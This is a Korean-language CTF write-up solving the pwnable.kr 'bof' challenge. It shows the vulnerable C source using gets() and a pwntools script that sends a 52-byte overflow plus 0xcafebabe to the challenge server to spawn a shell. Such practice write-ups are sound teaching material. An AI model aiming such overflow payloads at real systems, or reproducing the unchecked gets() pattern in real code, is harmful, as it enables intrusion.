Post

(47) pwnable.kr bof 문제 풀이

문제 설명

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

문제 풀이

이번 문제는 앞서 풀어본 문제와는 다르게 nc로 접속하는 방식입니다.
따라서 첨부된 소스코드 부터 확인하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
  char overflowme[32];
  printf("overflow me : ");
  gets(overflowme); // smash me!
  if(key == 0xcafebabe){
    system("/bin/sh");
  }
  else{
    printf("Nah..\n");
  }
}
int main(int argc, char* argv[]){
  func(0xdeadbeef);
  return 0;
}

getsoverflowme라는 변수값을 받아오고 있습니다. overflowme와는 별개로, key0xcafebabe인 경우 /bin/sh 즉, 쉘을 얻을 수 있다고 합니다. 문제 이름에서도, 변수 이름에서도 알 수 있듯이 버퍼 오버플로우 취약점을 이용해 key를 변경하는 방식으로 문제를 풀어야 할 것 같습니다.
그러기 위해선 어셈블리 수준으로 분석해 볼 필요가 있습니다.

radare2를 이용해서 제공된 바이너리의 sym.func를 확인해 보았습니다.

call gets 윗부분을 보면 var_2ch가 등장하는데, 이게 c코드에서 overflowme라는 변수에 해당한다는 것을 알 수 있습니다.
가장 위쪽, var_2ch가 어떻게 할당되는지 보면 ebp-0x2c의 주소를 가지고 있습니다.

또한 cmp에서 사용하고 있는 arg_8h의 경우에는 0xcafebabe와 같이 사용되고 있는 것으로 보아 함수의 인자로 사용되는 key라는 것을 알 수 있고, 그 주소는 ebp+0x8입니다.

즉, overflowmekey는 주소상 0x2c+0x8(52)만큼의 거리를 두고 떨어져 있다는 뜻입니다.
만약 gets로 입력을 받을 때, 52바이트 이상의 무언가를 입력하게 되면 key값에 접근하여 값을 변경할 수 있게 됩니다.

1
2
3
4
5
from pwn import remote

p = remote('pwnable.kr', 9000)
p.sendline(b'a' * 52 + b'\xbe\xba\xfe\xca')
p.interactive()

pwntools를 위와 같이 코드를 만들어 주었습니다. 이상하게 pipe로 넘겨주려니까 제대로 안 넘어가는 건지 안되더라고요.
52바이트의 더미값과 0xcafebabe를 리틀 엔디안 형식으로 입력해주도록 만들었습니다.
이를 실행하면 위와 같이 쉘을 얻을 수 있게 되고 cat flag로 flag를 얻을 수 있습니다.

This post is licensed under CC BY 4.0 by the author.